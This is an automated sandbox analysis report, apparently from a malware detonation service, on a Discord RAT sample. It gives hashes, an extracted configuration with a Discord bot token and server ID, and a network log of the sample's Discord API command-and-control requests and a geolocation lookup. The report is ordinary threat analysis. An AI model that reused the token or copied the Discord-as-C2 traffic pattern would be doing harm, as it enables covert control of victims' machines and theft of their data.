Analysis

  • max time kernel
    93s
  • max time network
    133s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-10-2024 13:04

General

  • Target

    Client-built.exe

  • Size

    78KB

  • MD5

    08a5f1b89e6944163b9ec83d08b55d7e

  • SHA1

    1741611da7edf548b0b75714d43eb9d3548e14df

  • SHA256

    9bc8769d0dd47237653ef3320afb136df186dc6c0782f86ab1c3d2af20b9202e

  • SHA512

    b7b5beabc56bb674af46633125ea558c6f440cb94dc59ce440345193fa37076c26633996ceba9f7db0cf7a81f93928003934ea798338890570585dab088e4dc7

  • SSDEEP

    1536:52WjO8XeEXFh5P7v88wbjNrfxCXhRoKV6+V+6PIC:5Zv5PDwbjNrmAE+mIC

Malware Config

Extracted

Family

discordrat

Attributes
  • discord_token

    MTI5MjQ3MDY0NTIyOTA5NzAwMA.GNERIx.GW0rdAd6D_xAs0J8UsqQVnTwz9YQuxERLzA87s

  • server_id

    1292471074809839676

Signatures

  • Discord RAT

    A RAT written in C# using Discord as a C2.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client-built.exe
    "C:\Users\Admin\AppData\Local\Temp\Client-built.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1308

Network

  • flag-us
    DNS
    gateway.discord.gg
    Client-built.exe
    Remote address:
    8.8.8.8:53
    Request
    gateway.discord.gg
    IN A
    Response
    gateway.discord.gg
    IN A
    162.159.136.234
    gateway.discord.gg
    IN A
    162.159.130.234
    gateway.discord.gg
    IN A
    162.159.133.234
    gateway.discord.gg
    IN A
    162.159.135.234
    gateway.discord.gg
    IN A
    162.159.134.234
  • flag-us
    GET
    https://gateway.discord.gg/?v=9&encording=json
    Client-built.exe
    Remote address:
    162.159.136.234:443
    Request
    GET /?v=9&encording=json HTTP/1.1
    Connection: Upgrade,Keep-Alive
    Upgrade: websocket
    Sec-WebSocket-Key: svREKZaEiziYF5uYBGf86Q==
    Sec-WebSocket-Version: 13
    Host: gateway.discord.gg
    Response
    HTTP/1.1 101 Switching Protocols
    Date: Sun, 06 Oct 2024 13:04:46 GMT
    Connection: upgrade
    sec-websocket-accept: zAqE9vhp4a4DO2pIdA1oANkJ5Zw=
    upgrade: websocket
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y9oCW%2FZNeM2TAQZ%2BHypOv9m%2B7dMWhmUKsulY8PApk2w5UKpmzrevv4BJu0j%2FJpSqNHmoc24ntsujl6ayzLLXWWtIOWHpjZTyzsYc6zVMx74t8TlWQzzHB4b%2FwKFSnrFEyl1vPA%3D%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
    X-Content-Type-Options: nosniff
    Server: cloudflare
    CF-RAY: 8ce5dbf3d9dd88aa-LHR
  • flag-us
    DNS
    discord.com
    Client-built.exe
    Remote address:
    8.8.8.8:53
    Request
    discord.com
    IN A
    Response
    discord.com
    IN A
    162.159.137.232
    discord.com
    IN A
    162.159.136.232
    discord.com
    IN A
    162.159.138.232
    discord.com
    IN A
    162.159.135.232
    discord.com
    IN A
    162.159.128.233
  • flag-us
    POST
    https://discord.com/api/v9/guilds/1292471074809839676/channels
    Client-built.exe
    Remote address:
    162.159.137.232:443
    Request
    POST /api/v9/guilds/1292471074809839676/channels HTTP/1.1
    authorization: Bot MTI5MjQ3MDY0NTIyOTA5NzAwMA.GNERIx.GW0rdAd6D_xAs0J8UsqQVnTwz9YQuxERLzA87s
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 29
    Expect: 100-continue
    Connection: Keep-Alive
    Response
    HTTP/1.1 201 Created
    Date: Sun, 06 Oct 2024 13:04:47 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=90731d1883e311ef82781a781847b925; Expires=Fri, 05-Oct-2029 13:04:47 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: be56019ae011689ff5baf218062aacf5
    x-ratelimit-limit: 2000
    x-ratelimit-remaining: 1999
    x-ratelimit-reset: 1728306287.528
    x-ratelimit-reset-after: 86400.000
    vary: Accept-Encoding
    via: 1.1 google
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KmK%2FO%2Fi6hCkvtiCx0rG3QkIashOk0tp2NPJsBqgKWdaEHmokpSXqe%2B1IRvjAGp8WldIquSCZ79XtanqYSQjdMz%2FA07PY2iMv6FBPpssZV3T6DCktfVR%2Fkwl5ylBw"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=90731d1883e311ef82781a781847b925fcb4e78bf3ce46aea41f39bfff4954123339c8c340473a1ac0f1f7deb5b1700f; Expires=Fri, 05-Oct-2029 13:04:47 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=a85ad4dbffda394eccbf7c8fec258daa6e2c80b7-1728219887; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=zWFituPBbr0ZHfaZhSW1WFrVChVxIdOSUAZ1YtKlY3E-1728219887661-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 8ce5dbf86d33d1fe-LHR
  • flag-us
    DNS
    149.220.183.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    149.220.183.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    234.136.159.162.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    234.136.159.162.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    88.210.23.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    88.210.23.2.in-addr.arpa
    IN PTR
    Response
    88.210.23.2.in-addr.arpa
    IN PTR
    a2-23-210-88deploystaticakamaitechnologiescom
  • flag-us
    DNS
    geolocation-db.com
    Client-built.exe
    Remote address:
    8.8.8.8:53
    Request
    geolocation-db.com
    IN A
    Response
    geolocation-db.com
    IN A
    159.89.102.253
  • flag-de
    GET
    https://geolocation-db.com/json
    Client-built.exe
    Remote address:
    159.89.102.253:443
    Request
    GET /json HTTP/1.1
    Host: geolocation-db.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 301 Moved Permanently
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 13:04:47 GMT
    Content-Type: text/html
    Content-Length: 194
    Location: https://geolocation-db.com/json/
    Connection: keep-alive
  • flag-de
    GET
    https://geolocation-db.com/json/
    Client-built.exe
    Remote address:
    159.89.102.253:443
    Request
    GET /json/ HTTP/1.1
    Host: geolocation-db.com
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.14.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 13:04:47 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Access-Control-Allow-Origin: *
  • flag-us
    POST
    https://discord.com/api/v9/channels/1292472628216336495/messages
    Client-built.exe
    Remote address:
    162.159.137.232:443
    Request
    POST /api/v9/channels/1292472628216336495/messages HTTP/1.1
    authorization: Bot MTI5MjQ3MDY0NTIyOTA5NzAwMA.GNERIx.GW0rdAd6D_xAs0J8UsqQVnTwz9YQuxERLzA87s
    Content-Type: application/json; charset=utf-8
    Host: discord.com
    Content-Length: 115
    Expect: 100-continue
    Response
    HTTP/1.1 200 OK
    Date: Sun, 06 Oct 2024 13:04:48 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    set-cookie: __dcfduid=90c42ff083e311efb4accad5bd9ed640; Expires=Fri, 05-Oct-2029 13:04:48 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
    x-ratelimit-limit: 5
    x-ratelimit-remaining: 4
    x-ratelimit-reset: 1728219889.087
    x-ratelimit-reset-after: 1.000
    vary: Accept-Encoding
    via: 1.1 google
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FKhTo4QOxycZEMbi%2FBLN6HtVcgh6ZIjYsRN6U0PkPmEdRvIxrH7yw2RrsJMKhp7cX6RLlNciJ6G8Klv9oPyJVzV6ub7iCaTQuNU4Uo274YEI99UjIWMwGe%2FS1250"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    X-Content-Type-Options: nosniff
    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
    Set-Cookie: __sdcfduid=90c42ff083e311efb4accad5bd9ed64082ef550100546cafafa5cb9600df5e58ae35aaabfacdac4557e4560ce73cfc77; Expires=Fri, 05-Oct-2029 13:04:48 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
    Set-Cookie: __cfruid=4ade112ed19bd5b56c37f655bfcc8297acc6a68b-1728219888; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Set-Cookie: _cfuvid=_259bgQOvuU71XmZ9gpiFIGXmI.lrZbwuowvgVLQL0Q-1728219888184-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
    Server: cloudflare
    CF-RAY: 8ce5dbfbed3b640c-LHR
  • flag-us
    DNS
    232.137.159.162.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    232.137.159.162.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    22.160.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    22.160.190.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    253.102.89.159.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    253.102.89.159.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    209.205.72.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    209.205.72.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    53.210.109.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    53.210.109.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    206.23.85.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    206.23.85.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.214.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.214.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    14.227.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    14.227.111.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    83.210.23.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    83.210.23.2.in-addr.arpa
    IN PTR
    Response
    83.210.23.2.in-addr.arpa
    IN PTR
    a2-23-210-83deploystaticakamaitechnologiescom
  • 162.159.136.234:443
    https://gateway.discord.gg/?v=9&encording=json
    tls, http
    Client-built.exe
    1.9kB
    12.4kB
    22
    27

    HTTP Request

    GET https://gateway.discord.gg/?v=9&encording=json

    HTTP Response

    101
  • 162.159.137.232:443
    https://discord.com/api/v9/guilds/1292471074809839676/channels
    tls, http
    Client-built.exe
    1.1kB
    5.5kB
    10
    12

    HTTP Request

    POST https://discord.com/api/v9/guilds/1292471074809839676/channels

    HTTP Response

    201
  • 159.89.102.253:443
    https://geolocation-db.com/json/
    tls, http
    Client-built.exe
    894 B
    4.5kB
    10
    10

    HTTP Request

    GET https://geolocation-db.com/json

    HTTP Response

    301

    HTTP Request

    GET https://geolocation-db.com/json/

    HTTP Response

    200
  • 162.159.137.232:443
    https://discord.com/api/v9/channels/1292472628216336495/messages
    tls, http
    Client-built.exe
    1.3kB
    2.9kB
    9
    10

    HTTP Request

    POST https://discord.com/api/v9/channels/1292472628216336495/messages

    HTTP Response

    200
  • 52.111.229.43:443
    322 B
    7
  • 8.8.8.8:53
    gateway.discord.gg
    dns
    Client-built.exe
    64 B
    144 B
    1
    1

    DNS Request

    gateway.discord.gg

    DNS Response

    162.159.136.234
    162.159.130.234
    162.159.133.234
    162.159.135.234
    162.159.134.234

  • 8.8.8.8:53
    discord.com
    dns
    Client-built.exe
    57 B
    137 B
    1
    1

    DNS Request

    discord.com

    DNS Response

    162.159.137.232
    162.159.136.232
    162.159.138.232
    162.159.135.232
    162.159.128.233

  • 8.8.8.8:53
    149.220.183.52.in-addr.arpa
    dns
    73 B
    147 B
    1
    1

    DNS Request

    149.220.183.52.in-addr.arpa

  • 8.8.8.8:53
    234.136.159.162.in-addr.arpa
    dns
    74 B
    136 B
    1
    1

    DNS Request

    234.136.159.162.in-addr.arpa

  • 8.8.8.8:53
    88.210.23.2.in-addr.arpa
    dns
    70 B
    133 B
    1
    1

    DNS Request

    88.210.23.2.in-addr.arpa

  • 8.8.8.8:53
    geolocation-db.com
    dns
    Client-built.exe
    64 B
    80 B
    1
    1

    DNS Request

    geolocation-db.com

    DNS Response

    159.89.102.253

  • 8.8.8.8:53
    232.137.159.162.in-addr.arpa
    dns
    74 B
    136 B
    1
    1

    DNS Request

    232.137.159.162.in-addr.arpa

  • 8.8.8.8:53
    22.160.190.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    22.160.190.20.in-addr.arpa

  • 8.8.8.8:53
    253.102.89.159.in-addr.arpa
    dns
    73 B
    140 B
    1
    1

    DNS Request

    253.102.89.159.in-addr.arpa

  • 8.8.8.8:53
    209.205.72.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    209.205.72.20.in-addr.arpa

  • 8.8.8.8:53
    53.210.109.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    53.210.109.20.in-addr.arpa

  • 8.8.8.8:53
    206.23.85.13.in-addr.arpa
    dns
    71 B
    145 B
    1
    1

    DNS Request

    206.23.85.13.in-addr.arpa

  • 8.8.8.8:53
    172.214.232.199.in-addr.arpa
    dns
    74 B
    128 B
    1
    1

    DNS Request

    172.214.232.199.in-addr.arpa

  • 8.8.8.8:53
    83.210.23.2.in-addr.arpa
    dns
    70 B
    133 B
    1
    1

    DNS Request

    83.210.23.2.in-addr.arpa

  • 8.8.8.8:53
    14.227.111.52.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    14.227.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1308-0-0x00007FF81C163000-0x00007FF81C165000-memory.dmp

    Filesize

    8KB

  • memory/1308-1-0x00000240D78F0000-0x00000240D7908000-memory.dmp

    Filesize

    96KB

  • memory/1308-2-0x00000240F1E90000-0x00000240F2052000-memory.dmp

    Filesize

    1.8MB

  • memory/1308-3-0x00007FF81C160000-0x00007FF81CC21000-memory.dmp

    Filesize

    10.8MB

  • memory/1308-4-0x00000240F27D0000-0x00000240F2CF8000-memory.dmp

    Filesize

    5.2MB

  • memory/1308-5-0x00007FF81C160000-0x00007FF81CC21000-memory.dmp

    Filesize

    10.8MB

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